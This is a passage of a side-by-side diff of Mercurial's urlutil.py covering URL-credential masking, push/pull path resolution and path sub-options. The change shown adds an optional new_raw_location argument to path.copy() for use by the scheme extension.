437 | '''hide user credential in a url string''' |
|
437 | '''hide user credential in a url string''' | |
438 | u = url(u) |
|
438 | u = url(u) | |
439 | if u.passwd: |
|
439 | if u.passwd: | |
440 | u.passwd = b'***' |
|
440 | u.passwd = b'***' | |
441 | return bytes(u) |
|
441 | return bytes(u) | |
442 |
|
442 | |||
443 |
|
443 | |||
444 | def removeauth(u): |
|
444 | def removeauth(u): | |
445 | # type: (bytes) -> bytes |
|
445 | # type: (bytes) -> bytes | |
446 | '''remove all authentication information from a url string''' |
|
446 | '''remove all authentication information from a url string''' | |
447 | u = url(u) |
|
447 | u = url(u) | |
448 | u.user = u.passwd = None |
|
448 | u.user = u.passwd = None | |
449 | return bytes(u) |
|
449 | return bytes(u) | |
450 |
|
450 | |||
451 |
|
451 | |||
452 | def list_paths(ui, target_path=None): |
|
452 | def list_paths(ui, target_path=None): | |
453 | """list all the (name, paths) in the passed ui""" |
|
453 | """list all the (name, paths) in the passed ui""" | |
454 | result = [] |
|
454 | result = [] | |
455 | if target_path is None: |
|
455 | if target_path is None: | |
456 | for name, paths in sorted(ui.paths.items()): |
|
456 | for name, paths in sorted(ui.paths.items()): | |
457 | for p in paths: |
|
457 | for p in paths: | |
458 | result.append((name, p)) |
|
458 | result.append((name, p)) | |
459 |
|
459 | |||
460 | else: |
|
460 | else: | |
461 | for path in ui.paths.get(target_path, []): |
|
461 | for path in ui.paths.get(target_path, []): | |
462 | result.append((target_path, path)) |
|
462 | result.append((target_path, path)) | |
463 | return result |
|
463 | return result | |
464 |
|
464 | |||
465 |
|
465 | |||
466 | def try_path(ui, url): |
|
466 | def try_path(ui, url): | |
467 | """try to build a path from a url |
|
467 | """try to build a path from a url | |
468 |
|
468 | |||
469 | Return None if no Path could built. |
|
469 | Return None if no Path could built. | |
470 | """ |
|
470 | """ | |
471 | try: |
|
471 | try: | |
472 | # we pass the ui instance are warning might need to be issued |
|
472 | # we pass the ui instance are warning might need to be issued | |
473 | return path(ui, None, rawloc=url) |
|
473 | return path(ui, None, rawloc=url) | |
474 | except ValueError: |
|
474 | except ValueError: | |
475 | return None |
|
475 | return None | |
476 |
|
476 | |||
477 |
|
477 | |||
478 | def get_push_paths(repo, ui, dests): |
|
478 | def get_push_paths(repo, ui, dests): | |
479 | """yields all the `path` selected as push destination by `dests`""" |
|
479 | """yields all the `path` selected as push destination by `dests`""" | |
480 | if not dests: |
|
480 | if not dests: | |
481 | if b'default-push' in ui.paths: |
|
481 | if b'default-push' in ui.paths: | |
482 | for p in ui.paths[b'default-push']: |
|
482 | for p in ui.paths[b'default-push']: | |
483 | yield p.get_push_variant() |
|
483 | yield p.get_push_variant() | |
484 | elif b'default' in ui.paths: |
|
484 | elif b'default' in ui.paths: | |
485 | for p in ui.paths[b'default']: |
|
485 | for p in ui.paths[b'default']: | |
486 | yield p.get_push_variant() |
|
486 | yield p.get_push_variant() | |
487 | else: |
|
487 | else: | |
488 | raise error.ConfigError( |
|
488 | raise error.ConfigError( | |
489 | _(b'default repository not configured!'), |
|
489 | _(b'default repository not configured!'), | |
490 | hint=_(b"see 'hg help config.paths'"), |
|
490 | hint=_(b"see 'hg help config.paths'"), | |
491 | ) |
|
491 | ) | |
492 | else: |
|
492 | else: | |
493 | for dest in dests: |
|
493 | for dest in dests: | |
494 | if dest in ui.paths: |
|
494 | if dest in ui.paths: | |
495 | for p in ui.paths[dest]: |
|
495 | for p in ui.paths[dest]: | |
496 | yield p.get_push_variant() |
|
496 | yield p.get_push_variant() | |
497 | else: |
|
497 | else: | |
498 | path = try_path(ui, dest) |
|
498 | path = try_path(ui, dest) | |
499 | if path is None: |
|
499 | if path is None: | |
500 | msg = _(b'repository %s does not exist') |
|
500 | msg = _(b'repository %s does not exist') | |
501 | msg %= dest |
|
501 | msg %= dest | |
502 | raise error.RepoError(msg) |
|
502 | raise error.RepoError(msg) | |
503 | yield path.get_push_variant() |
|
503 | yield path.get_push_variant() | |
504 |
|
504 | |||
505 |
|
505 | |||
506 | def get_pull_paths(repo, ui, sources): |
|
506 | def get_pull_paths(repo, ui, sources): | |
507 | """yields all the `(path, branch)` selected as pull source by `sources`""" |
|
507 | """yields all the `(path, branch)` selected as pull source by `sources`""" | |
508 | if not sources: |
|
508 | if not sources: | |
509 | sources = [b'default'] |
|
509 | sources = [b'default'] | |
510 | for source in sources: |
|
510 | for source in sources: | |
511 | if source in ui.paths: |
|
511 | if source in ui.paths: | |
512 | for p in ui.paths[source]: |
|
512 | for p in ui.paths[source]: | |
513 | yield p |
|
513 | yield p | |
514 | else: |
|
514 | else: | |
515 | p = path(ui, None, source, validate_path=False) |
|
515 | p = path(ui, None, source, validate_path=False) | |
516 | yield p |
|
516 | yield p | |
517 |
|
517 | |||
518 |
|
518 | |||
519 | def get_unique_push_path(action, repo, ui, dest=None): |
|
519 | def get_unique_push_path(action, repo, ui, dest=None): | |
520 | """return a unique `path` or abort if multiple are found |
|
520 | """return a unique `path` or abort if multiple are found | |
521 |
|
521 | |||
522 | This is useful for command and action that does not support multiple |
|
522 | This is useful for command and action that does not support multiple | |
523 | destination (yet). |
|
523 | destination (yet). | |
524 |
|
524 | |||
525 | The `action` parameter will be used for the error message. |
|
525 | The `action` parameter will be used for the error message. | |
526 | """ |
|
526 | """ | |
527 | if dest is None: |
|
527 | if dest is None: | |
528 | dests = [] |
|
528 | dests = [] | |
529 | else: |
|
529 | else: | |
530 | dests = [dest] |
|
530 | dests = [dest] | |
531 | dests = list(get_push_paths(repo, ui, dests)) |
|
531 | dests = list(get_push_paths(repo, ui, dests)) | |
532 | if len(dests) != 1: |
|
532 | if len(dests) != 1: | |
533 | if dest is None: |
|
533 | if dest is None: | |
534 | msg = _( |
|
534 | msg = _( | |
535 | b"default path points to %d urls while %s only supports one" |
|
535 | b"default path points to %d urls while %s only supports one" | |
536 | ) |
|
536 | ) | |
537 | msg %= (len(dests), action) |
|
537 | msg %= (len(dests), action) | |
538 | else: |
|
538 | else: | |
539 | msg = _(b"path points to %d urls while %s only supports one: %s") |
|
539 | msg = _(b"path points to %d urls while %s only supports one: %s") | |
540 | msg %= (len(dests), action, dest) |
|
540 | msg %= (len(dests), action, dest) | |
541 | raise error.Abort(msg) |
|
541 | raise error.Abort(msg) | |
542 | return dests[0] |
|
542 | return dests[0] | |
543 |
|
543 | |||
544 |
|
544 | |||
545 | def get_unique_pull_path_obj(action, ui, source=None): |
|
545 | def get_unique_pull_path_obj(action, ui, source=None): | |
546 | """return a unique `(path, branch)` or abort if multiple are found |
|
546 | """return a unique `(path, branch)` or abort if multiple are found | |
547 |
|
547 | |||
548 | This is useful for command and action that does not support multiple |
|
548 | This is useful for command and action that does not support multiple | |
549 | destination (yet). |
|
549 | destination (yet). | |
550 |
|
550 | |||
551 | The `action` parameter will be used for the error message. |
|
551 | The `action` parameter will be used for the error message. | |
552 |
|
552 | |||
553 | note: Ideally, this function would be called `get_unique_pull_path` to |
|
553 | note: Ideally, this function would be called `get_unique_pull_path` to | |
554 | mirror the `get_unique_push_path`, but the name was already taken. |
|
554 | mirror the `get_unique_push_path`, but the name was already taken. | |
555 | """ |
|
555 | """ | |
556 | sources = [] |
|
556 | sources = [] | |
557 | if source is not None: |
|
557 | if source is not None: | |
558 | sources.append(source) |
|
558 | sources.append(source) | |
559 |
|
559 | |||
560 | pull_paths = list(get_pull_paths(None, ui, sources=sources)) |
|
560 | pull_paths = list(get_pull_paths(None, ui, sources=sources)) | |
561 | path_count = len(pull_paths) |
|
561 | path_count = len(pull_paths) | |
562 | if path_count != 1: |
|
562 | if path_count != 1: | |
563 | if source is None: |
|
563 | if source is None: | |
564 | msg = _( |
|
564 | msg = _( | |
565 | b"default path points to %d urls while %s only supports one" |
|
565 | b"default path points to %d urls while %s only supports one" | |
566 | ) |
|
566 | ) | |
567 | msg %= (path_count, action) |
|
567 | msg %= (path_count, action) | |
568 | else: |
|
568 | else: | |
569 | msg = _(b"path points to %d urls while %s only supports one: %s") |
|
569 | msg = _(b"path points to %d urls while %s only supports one: %s") | |
570 | msg %= (path_count, action, source) |
|
570 | msg %= (path_count, action, source) | |
571 | raise error.Abort(msg) |
|
571 | raise error.Abort(msg) | |
572 | return pull_paths[0] |
|
572 | return pull_paths[0] | |
573 |
|
573 | |||
574 |
|
574 | |||
575 | def get_unique_pull_path(action, repo, ui, source=None, default_branches=()): |
|
575 | def get_unique_pull_path(action, repo, ui, source=None, default_branches=()): | |
576 | """return a unique `(url, branch)` or abort if multiple are found |
|
576 | """return a unique `(url, branch)` or abort if multiple are found | |
577 |
|
577 | |||
578 | See `get_unique_pull_path_obj` for details. |
|
578 | See `get_unique_pull_path_obj` for details. | |
579 | """ |
|
579 | """ | |
580 | path = get_unique_pull_path_obj(action, ui, source=source) |
|
580 | path = get_unique_pull_path_obj(action, ui, source=source) | |
581 | return parseurl(path.rawloc, default_branches) |
|
581 | return parseurl(path.rawloc, default_branches) | |
582 |
|
582 | |||
583 |
|
583 | |||
584 | def get_clone_path_obj(ui, source): |
|
584 | def get_clone_path_obj(ui, source): | |
585 | """return the `(origsource, url, branch)` selected as clone source""" |
|
585 | """return the `(origsource, url, branch)` selected as clone source""" | |
586 | if source == b'': |
|
586 | if source == b'': | |
587 | return None |
|
587 | return None | |
588 | return get_unique_pull_path_obj(b'clone', ui, source=source) |
|
588 | return get_unique_pull_path_obj(b'clone', ui, source=source) | |
589 |
|
589 | |||
590 |
|
590 | |||
591 | def get_clone_path(ui, source, default_branches=None): |
|
591 | def get_clone_path(ui, source, default_branches=None): | |
592 | """return the `(origsource, url, branch)` selected as clone source""" |
|
592 | """return the `(origsource, url, branch)` selected as clone source""" | |
593 | path = get_clone_path_obj(ui, source) |
|
593 | path = get_clone_path_obj(ui, source) | |
594 | if path is None: |
|
594 | if path is None: | |
595 | return (b'', b'', (None, default_branches)) |
|
595 | return (b'', b'', (None, default_branches)) | |
596 | if default_branches is None: |
|
596 | if default_branches is None: | |
597 | default_branches = [] |
|
597 | default_branches = [] | |
598 | branches = (path.branch, default_branches) |
|
598 | branches = (path.branch, default_branches) | |
599 | return path.rawloc, path.loc, branches |
|
599 | return path.rawloc, path.loc, branches | |
600 |
|
600 | |||
601 |
|
601 | |||
602 | def parseurl(path, branches=None): |
|
602 | def parseurl(path, branches=None): | |
603 | '''parse url#branch, returning (url, (branch, branches))''' |
|
603 | '''parse url#branch, returning (url, (branch, branches))''' | |
604 | u = url(path) |
|
604 | u = url(path) | |
605 | branch = None |
|
605 | branch = None | |
606 | if u.fragment: |
|
606 | if u.fragment: | |
607 | branch = u.fragment |
|
607 | branch = u.fragment | |
608 | u.fragment = None |
|
608 | u.fragment = None | |
609 | return bytes(u), (branch, branches or []) |
|
609 | return bytes(u), (branch, branches or []) | |
610 |
|
610 | |||
611 |
|
611 | |||
612 | class paths(dict): |
|
612 | class paths(dict): | |
613 | """Represents a collection of paths and their configs. |
|
613 | """Represents a collection of paths and their configs. | |
614 |
|
614 | |||
615 | Data is initially derived from ui instances and the config files they have |
|
615 | Data is initially derived from ui instances and the config files they have | |
616 | loaded. |
|
616 | loaded. | |
617 | """ |
|
617 | """ | |
618 |
|
618 | |||
619 | def __init__(self, ui): |
|
619 | def __init__(self, ui): | |
620 | dict.__init__(self) |
|
620 | dict.__init__(self) | |
621 |
|
621 | |||
622 | home_path = os.path.expanduser(b'~') |
|
622 | home_path = os.path.expanduser(b'~') | |
623 |
|
623 | |||
624 | for name, value in ui.configitems(b'paths', ignoresub=True): |
|
624 | for name, value in ui.configitems(b'paths', ignoresub=True): | |
625 | # No location is the same as not existing. |
|
625 | # No location is the same as not existing. | |
626 | if not value: |
|
626 | if not value: | |
627 | continue |
|
627 | continue | |
628 | _value, sub_opts = ui.configsuboptions(b'paths', name) |
|
628 | _value, sub_opts = ui.configsuboptions(b'paths', name) | |
629 | s = ui.configsource(b'paths', name) |
|
629 | s = ui.configsource(b'paths', name) | |
630 | root_key = (name, value, s) |
|
630 | root_key = (name, value, s) | |
631 | root = ui._path_to_root.get(root_key, home_path) |
|
631 | root = ui._path_to_root.get(root_key, home_path) | |
632 |
|
632 | |||
633 | multi_url = sub_opts.get(b'multi-urls') |
|
633 | multi_url = sub_opts.get(b'multi-urls') | |
634 | if multi_url is not None and stringutil.parsebool(multi_url): |
|
634 | if multi_url is not None and stringutil.parsebool(multi_url): | |
635 | base_locs = stringutil.parselist(value) |
|
635 | base_locs = stringutil.parselist(value) | |
636 | else: |
|
636 | else: | |
637 | base_locs = [value] |
|
637 | base_locs = [value] | |
638 |
|
638 | |||
639 | paths = [] |
|
639 | paths = [] | |
640 | for loc in base_locs: |
|
640 | for loc in base_locs: | |
641 | loc = os.path.expandvars(loc) |
|
641 | loc = os.path.expandvars(loc) | |
642 | loc = os.path.expanduser(loc) |
|
642 | loc = os.path.expanduser(loc) | |
643 | if not hasscheme(loc) and not os.path.isabs(loc): |
|
643 | if not hasscheme(loc) and not os.path.isabs(loc): | |
644 | loc = os.path.normpath(os.path.join(root, loc)) |
|
644 | loc = os.path.normpath(os.path.join(root, loc)) | |
645 | p = path(ui, name, rawloc=loc, suboptions=sub_opts) |
|
645 | p = path(ui, name, rawloc=loc, suboptions=sub_opts) | |
646 | paths.append(p) |
|
646 | paths.append(p) | |
647 | self[name] = paths |
|
647 | self[name] = paths | |
648 |
|
648 | |||
649 | for name, old_paths in sorted(self.items()): |
|
649 | for name, old_paths in sorted(self.items()): | |
650 | new_paths = [] |
|
650 | new_paths = [] | |
651 | for p in old_paths: |
|
651 | for p in old_paths: | |
652 | new_paths.extend(_chain_path(p, ui, self)) |
|
652 | new_paths.extend(_chain_path(p, ui, self)) | |
653 | self[name] = new_paths |
|
653 | self[name] = new_paths | |
654 |
|
654 | |||
655 | def getpath(self, ui, name, default=None): |
|
655 | def getpath(self, ui, name, default=None): | |
656 | """Return a ``path`` from a string, falling back to default. |
|
656 | """Return a ``path`` from a string, falling back to default. | |
657 |
|
657 | |||
658 | ``name`` can be a named path or locations. Locations are filesystem |
|
658 | ``name`` can be a named path or locations. Locations are filesystem | |
659 | paths or URIs. |
|
659 | paths or URIs. | |
660 |
|
660 | |||
661 | Returns None if ``name`` is not a registered path, a URI, or a local |
|
661 | Returns None if ``name`` is not a registered path, a URI, or a local | |
662 | path to a repo. |
|
662 | path to a repo. | |
663 | """ |
|
663 | """ | |
664 | msg = b'getpath is deprecated, use `get_*` functions from urlutil' |
|
664 | msg = b'getpath is deprecated, use `get_*` functions from urlutil' | |
665 | ui.deprecwarn(msg, b'6.0') |
|
665 | ui.deprecwarn(msg, b'6.0') | |
666 | # Only fall back to default if no path was requested. |
|
666 | # Only fall back to default if no path was requested. | |
667 | if name is None: |
|
667 | if name is None: | |
668 | if not default: |
|
668 | if not default: | |
669 | default = () |
|
669 | default = () | |
670 | elif not isinstance(default, (tuple, list)): |
|
670 | elif not isinstance(default, (tuple, list)): | |
671 | default = (default,) |
|
671 | default = (default,) | |
672 | for k in default: |
|
672 | for k in default: | |
673 | try: |
|
673 | try: | |
674 | return self[k][0] |
|
674 | return self[k][0] | |
675 | except KeyError: |
|
675 | except KeyError: | |
676 | continue |
|
676 | continue | |
677 | return None |
|
677 | return None | |
678 |
|
678 | |||
679 | # Most likely empty string. |
|
679 | # Most likely empty string. | |
680 | # This may need to raise in the future. |
|
680 | # This may need to raise in the future. | |
681 | if not name: |
|
681 | if not name: | |
682 | return None |
|
682 | return None | |
683 | if name in self: |
|
683 | if name in self: | |
684 | return self[name][0] |
|
684 | return self[name][0] | |
685 | else: |
|
685 | else: | |
686 | # Try to resolve as a local path or URI. |
|
686 | # Try to resolve as a local path or URI. | |
687 | path = try_path(ui, name) |
|
687 | path = try_path(ui, name) | |
688 | if path is None: |
|
688 | if path is None: | |
689 | raise error.RepoError(_(b'repository %s does not exist') % name) |
|
689 | raise error.RepoError(_(b'repository %s does not exist') % name) | |
690 | return path.rawloc |
|
690 | return path.rawloc | |
691 |
|
691 | |||
692 |
|
692 | |||
693 | _pathsuboptions = {} |
|
693 | _pathsuboptions = {} | |
694 |
|
694 | |||
695 |
|
695 | |||
696 | def pathsuboption(option, attr): |
|
696 | def pathsuboption(option, attr): | |
697 | """Decorator used to declare a path sub-option. |
|
697 | """Decorator used to declare a path sub-option. | |
698 |
|
698 | |||
699 | Arguments are the sub-option name and the attribute it should set on |
|
699 | Arguments are the sub-option name and the attribute it should set on | |
700 | ``path`` instances. |
|
700 | ``path`` instances. | |
701 |
|
701 | |||
702 | The decorated function will receive as arguments a ``ui`` instance, |
|
702 | The decorated function will receive as arguments a ``ui`` instance, | |
703 | ``path`` instance, and the string value of this option from the config. |
|
703 | ``path`` instance, and the string value of this option from the config. | |
704 | The function should return the value that will be set on the ``path`` |
|
704 | The function should return the value that will be set on the ``path`` | |
705 | instance. |
|
705 | instance. | |
706 |
|
706 | |||
707 | This decorator can be used to perform additional verification of |
|
707 | This decorator can be used to perform additional verification of | |
708 | sub-options and to change the type of sub-options. |
|
708 | sub-options and to change the type of sub-options. | |
709 | """ |
|
709 | """ | |
710 |
|
710 | |||
711 | def register(func): |
|
711 | def register(func): | |
712 | _pathsuboptions[option] = (attr, func) |
|
712 | _pathsuboptions[option] = (attr, func) | |
713 | return func |
|
713 | return func | |
714 |
|
714 | |||
715 | return register |
|
715 | return register | |
716 |
|
716 | |||
717 |
|
717 | |||
718 | @pathsuboption(b'pushurl', b'_pushloc') |
|
718 | @pathsuboption(b'pushurl', b'_pushloc') | |
719 | def pushurlpathoption(ui, path, value): |
|
719 | def pushurlpathoption(ui, path, value): | |
720 | u = url(value) |
|
720 | u = url(value) | |
721 | # Actually require a URL. |
|
721 | # Actually require a URL. | |
722 | if not u.scheme: |
|
722 | if not u.scheme: | |
723 | msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n') |
|
723 | msg = _(b'(paths.%s:pushurl not a URL; ignoring: "%s")\n') | |
724 | msg %= (path.name, value) |
|
724 | msg %= (path.name, value) | |
725 | ui.warn(msg) |
|
725 | ui.warn(msg) | |
726 | return None |
|
726 | return None | |
727 |
|
727 | |||
728 | # Don't support the #foo syntax in the push URL to declare branch to |
|
728 | # Don't support the #foo syntax in the push URL to declare branch to | |
729 | # push. |
|
729 | # push. | |
730 | if u.fragment: |
|
730 | if u.fragment: | |
731 | ui.warn( |
|
731 | ui.warn( | |
732 | _( |
|
732 | _( | |
733 | b'("#fragment" in paths.%s:pushurl not supported; ' |
|
733 | b'("#fragment" in paths.%s:pushurl not supported; ' | |
734 | b'ignoring)\n' |
|
734 | b'ignoring)\n' | |
735 | ) |
|
735 | ) | |
736 | % path.name |
|
736 | % path.name | |
737 | ) |
|
737 | ) | |
738 | u.fragment = None |
|
738 | u.fragment = None | |
739 |
|
739 | |||
740 | return bytes(u) |
|
740 | return bytes(u) | |
741 |
|
741 | |||
742 |
|
742 | |||
743 | @pathsuboption(b'pushrev', b'pushrev') |
|
743 | @pathsuboption(b'pushrev', b'pushrev') | |
744 | def pushrevpathoption(ui, path, value): |
|
744 | def pushrevpathoption(ui, path, value): | |
745 | return value |
|
745 | return value | |
746 |
|
746 | |||
747 |
|
747 | |||
748 | SUPPORTED_BOOKMARKS_MODES = { |
|
748 | SUPPORTED_BOOKMARKS_MODES = { | |
749 | b'default', |
|
749 | b'default', | |
750 | b'mirror', |
|
750 | b'mirror', | |
751 | b'ignore', |
|
751 | b'ignore', | |
752 | } |
|
752 | } | |
753 |
|
753 | |||
754 |
|
754 | |||
755 | @pathsuboption(b'bookmarks.mode', b'bookmarks_mode') |
|
755 | @pathsuboption(b'bookmarks.mode', b'bookmarks_mode') | |
756 | def bookmarks_mode_option(ui, path, value): |
|
756 | def bookmarks_mode_option(ui, path, value): | |
757 | if value not in SUPPORTED_BOOKMARKS_MODES: |
|
757 | if value not in SUPPORTED_BOOKMARKS_MODES: | |
758 | path_name = path.name |
|
758 | path_name = path.name | |
759 | if path_name is None: |
|
759 | if path_name is None: | |
760 | # this is an "anonymous" path, config comes from the global one |
|
760 | # this is an "anonymous" path, config comes from the global one | |
761 | path_name = b'*' |
|
761 | path_name = b'*' | |
762 | msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n') |
|
762 | msg = _(b'(paths.%s:bookmarks.mode has unknown value: "%s")\n') | |
763 | msg %= (path_name, value) |
|
763 | msg %= (path_name, value) | |
764 | ui.warn(msg) |
|
764 | ui.warn(msg) | |
765 | if value == b'default': |
|
765 | if value == b'default': | |
766 | value = None |
|
766 | value = None | |
767 | return value |
|
767 | return value | |
768 |
|
768 | |||
769 |
|
769 | |||
770 | @pathsuboption(b'multi-urls', b'multi_urls') |
|
770 | @pathsuboption(b'multi-urls', b'multi_urls') | |
771 | def multiurls_pathoption(ui, path, value): |
|
771 | def multiurls_pathoption(ui, path, value): | |
772 | res = stringutil.parsebool(value) |
|
772 | res = stringutil.parsebool(value) | |
773 | if res is None: |
|
773 | if res is None: | |
774 | ui.warn( |
|
774 | ui.warn( | |
775 | _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name |
|
775 | _(b'(paths.%s:multi-urls not a boolean; ignoring)\n') % path.name | |
776 | ) |
|
776 | ) | |
777 | res = False |
|
777 | res = False | |
778 | return res |
|
778 | return res | |
779 |
|
779 | |||
780 |
|
780 | |||
781 | def _chain_path(base_path, ui, paths): |
|
781 | def _chain_path(base_path, ui, paths): | |
782 | """return the result of "path://" logic applied on a given path""" |
|
782 | """return the result of "path://" logic applied on a given path""" | |
783 | new_paths = [] |
|
783 | new_paths = [] | |
784 | if base_path.url.scheme != b'path': |
|
784 | if base_path.url.scheme != b'path': | |
785 | new_paths.append(base_path) |
|
785 | new_paths.append(base_path) | |
786 | else: |
|
786 | else: | |
787 | assert base_path.url.path is None |
|
787 | assert base_path.url.path is None | |
788 | sub_paths = paths.get(base_path.url.host) |
|
788 | sub_paths = paths.get(base_path.url.host) | |
789 | if sub_paths is None: |
|
789 | if sub_paths is None: | |
790 | m = _(b'cannot use `%s`, "%s" is not a known path') |
|
790 | m = _(b'cannot use `%s`, "%s" is not a known path') | |
791 | m %= (base_path.rawloc, base_path.url.host) |
|
791 | m %= (base_path.rawloc, base_path.url.host) | |
792 | raise error.Abort(m) |
|
792 | raise error.Abort(m) | |
793 | for subpath in sub_paths: |
|
793 | for subpath in sub_paths: | |
794 | path = base_path.copy() |
|
794 | path = base_path.copy() | |
795 | if subpath.raw_url.scheme == b'path': |
|
795 | if subpath.raw_url.scheme == b'path': | |
796 | m = _(b'cannot use `%s`, "%s" is also defined as a `path://`') |
|
796 | m = _(b'cannot use `%s`, "%s" is also defined as a `path://`') | |
797 | m %= (path.rawloc, path.url.host) |
|
797 | m %= (path.rawloc, path.url.host) | |
798 | raise error.Abort(m) |
|
798 | raise error.Abort(m) | |
799 | path.url = subpath.url |
|
799 | path.url = subpath.url | |
800 | path.rawloc = subpath.rawloc |
|
800 | path.rawloc = subpath.rawloc | |
801 | path.loc = subpath.loc |
|
801 | path.loc = subpath.loc | |
802 | if path.branch is None: |
|
802 | if path.branch is None: | |
803 | path.branch = subpath.branch |
|
803 | path.branch = subpath.branch | |
804 | else: |
|
804 | else: | |
805 | base = path.rawloc.rsplit(b'#', 1)[0] |
|
805 | base = path.rawloc.rsplit(b'#', 1)[0] | |
806 | path.rawloc = b'%s#%s' % (base, path.branch) |
|
806 | path.rawloc = b'%s#%s' % (base, path.branch) | |
807 | suboptions = subpath._all_sub_opts.copy() |
|
807 | suboptions = subpath._all_sub_opts.copy() | |
808 | suboptions.update(path._own_sub_opts) |
|
808 | suboptions.update(path._own_sub_opts) | |
809 | path._apply_suboptions(ui, suboptions) |
|
809 | path._apply_suboptions(ui, suboptions) | |
810 | new_paths.append(path) |
|
810 | new_paths.append(path) | |
811 | return new_paths |
|
811 | return new_paths | |
812 |
|
812 | |||
813 |
|
813 | |||
814 | class path: |
|
814 | class path: | |
815 | """Represents an individual path and its configuration.""" |
|
815 | """Represents an individual path and its configuration.""" | |
816 |
|
816 | |||
817 | def __init__( |
|
817 | def __init__( | |
818 | self, |
|
818 | self, | |
819 | ui=None, |
|
819 | ui=None, | |
820 | name=None, |
|
820 | name=None, | |
821 | rawloc=None, |
|
821 | rawloc=None, | |
822 | suboptions=None, |
|
822 | suboptions=None, | |
823 | validate_path=True, |
|
823 | validate_path=True, | |
824 | ): |
|
824 | ): | |
825 | """Construct a path from its config options. |
|
825 | """Construct a path from its config options. | |
826 |
|
826 | |||
827 | ``ui`` is the ``ui`` instance the path is coming from. |
|
827 | ``ui`` is the ``ui`` instance the path is coming from. | |
828 | ``name`` is the symbolic name of the path. |
|
828 | ``name`` is the symbolic name of the path. | |
829 | ``rawloc`` is the raw location, as defined in the config. |
|
829 | ``rawloc`` is the raw location, as defined in the config. | |
830 | ``_pushloc`` is the raw locations pushes should be made to. |
|
830 | ``_pushloc`` is the raw locations pushes should be made to. | |
831 | (see the `get_push_variant` method) |
|
831 | (see the `get_push_variant` method) | |
832 |
|
832 | |||
833 | If ``name`` is not defined, we require that the location be a) a local |
|
833 | If ``name`` is not defined, we require that the location be a) a local | |
834 | filesystem path with a .hg directory or b) a URL. If not, |
|
834 | filesystem path with a .hg directory or b) a URL. If not, | |
835 | ``ValueError`` is raised. |
|
835 | ``ValueError`` is raised. | |
836 | """ |
|
836 | """ | |
837 | if ui is None: |
|
837 | if ui is None: | |
838 | # used in copy |
|
838 | # used in copy | |
839 | assert name is None |
|
839 | assert name is None | |
840 | assert rawloc is None |
|
840 | assert rawloc is None | |
841 | assert suboptions is None |
|
841 | assert suboptions is None | |
842 | return |
|
842 | return | |
843 |
|
843 | |||
844 | if not rawloc: |
|
844 | if not rawloc: | |
845 | raise ValueError(b'rawloc must be defined') |
|
845 | raise ValueError(b'rawloc must be defined') | |
846 |
|
846 | |||
847 | self.name = name |
|
847 | self.name = name | |
848 |
|
848 | |||
849 | # set by path variant to point to their "non-push" version |
|
849 | # set by path variant to point to their "non-push" version | |
850 | self.main_path = None |
|
850 | self.main_path = None | |
851 | self._setup_url(rawloc) |
|
851 | self._setup_url(rawloc) | |
852 |
|
852 | |||
853 | if validate_path: |
|
853 | if validate_path: | |
854 | self._validate_path() |
|
854 | self._validate_path() | |
855 |
|
855 | |||
856 | _path, sub_opts = ui.configsuboptions(b'paths', b'*') |
|
856 | _path, sub_opts = ui.configsuboptions(b'paths', b'*') | |
857 | self._own_sub_opts = {} |
|
857 | self._own_sub_opts = {} | |
858 | if suboptions is not None: |
|
858 | if suboptions is not None: | |
859 | self._own_sub_opts = suboptions.copy() |
|
859 | self._own_sub_opts = suboptions.copy() | |
860 | sub_opts.update(suboptions) |
|
860 | sub_opts.update(suboptions) | |
861 | self._all_sub_opts = sub_opts.copy() |
|
861 | self._all_sub_opts = sub_opts.copy() | |
862 |
|
862 | |||
863 | self._apply_suboptions(ui, sub_opts) |
|
863 | self._apply_suboptions(ui, sub_opts) | |
864 |
|
864 | |||
865 | def _setup_url(self, rawloc): |
|
865 | def _setup_url(self, rawloc): | |
866 | # Locations may define branches via syntax <base>#<branch>. |
|
866 | # Locations may define branches via syntax <base>#<branch>. | |
867 | u = url(rawloc) |
|
867 | u = url(rawloc) | |
868 | branch = None |
|
868 | branch = None | |
869 | if u.fragment: |
|
869 | if u.fragment: | |
870 | branch = u.fragment |
|
870 | branch = u.fragment | |
871 | u.fragment = None |
|
871 | u.fragment = None | |
872 |
|
872 | |||
873 | self.url = u |
|
873 | self.url = u | |
874 | # the url from the config/command line before dealing with `path://` |
|
874 | # the url from the config/command line before dealing with `path://` | |
875 | self.raw_url = u.copy() |
|
875 | self.raw_url = u.copy() | |
876 | self.branch = branch |
|
876 | self.branch = branch | |
877 |
|
877 | |||
878 | self.rawloc = rawloc |
|
878 | self.rawloc = rawloc | |
879 | self.loc = b'%s' % u |
|
879 | self.loc = b'%s' % u | |
880 |
|
880 | |||
881 | def copy(self): |
|
881 | def copy(self, new_raw_location=None): | |
882 |
"""make a copy of this path object |
|
882 | """make a copy of this path object | |
|
883 | ||||
|
884 | When `new_raw_location` is set, the new path will point to it. | |||
|
885 | This is used by the scheme extension so expand the scheme. | |||
|
886 | """ | |||
883 | new = self.__class__() |
|
887 | new = self.__class__() | |
884 | for k, v in self.__dict__.items(): |
|
888 | for k, v in self.__dict__.items(): | |
885 | new_copy = getattr(v, 'copy', None) |
|
889 | new_copy = getattr(v, 'copy', None) | |
886 | if new_copy is not None: |
|
890 | if new_copy is not None: | |
887 | v = new_copy() |
|
891 | v = new_copy() | |
888 | new.__dict__[k] = v |
|
892 | new.__dict__[k] = v | |
|
893 | if new_raw_location is not None: | |||
|
894 | new._setup_url(new_raw_location) | |||
889 | return new |
|
895 | return new | |
890 |
|
896 | |||
891 | @property |
|
897 | @property | |
892 | def is_push_variant(self): |
|
898 | def is_push_variant(self): | |
893 | """is this a path variant to be used for pushing""" |
|
899 | """is this a path variant to be used for pushing""" | |
894 | return self.main_path is not None |
|
900 | return self.main_path is not None | |
895 |
|
901 | |||
896 | def get_push_variant(self): |
|
902 | def get_push_variant(self): | |
897 | """get a "copy" of the path, but suitable for pushing |
|
903 | """get a "copy" of the path, but suitable for pushing | |
898 |
|
904 | |||
899 | This means using the value of the `pushurl` option (if any) as the url. |
|
905 | This means using the value of the `pushurl` option (if any) as the url. | |
900 |
|
906 | |||
901 | The original path is available in the `main_path` attribute. |
|
907 | The original path is available in the `main_path` attribute. | |
902 | """ |
|
908 | """ | |
903 | if self.main_path: |
|
909 | if self.main_path: | |
904 | return self |
|
910 | return self | |
905 | new = self.copy() |
|
911 | new = self.copy() | |
906 | new.main_path = self |
|
912 | new.main_path = self | |
907 | if self._pushloc: |
|
913 | if self._pushloc: | |
908 | new._setup_url(self._pushloc) |
|
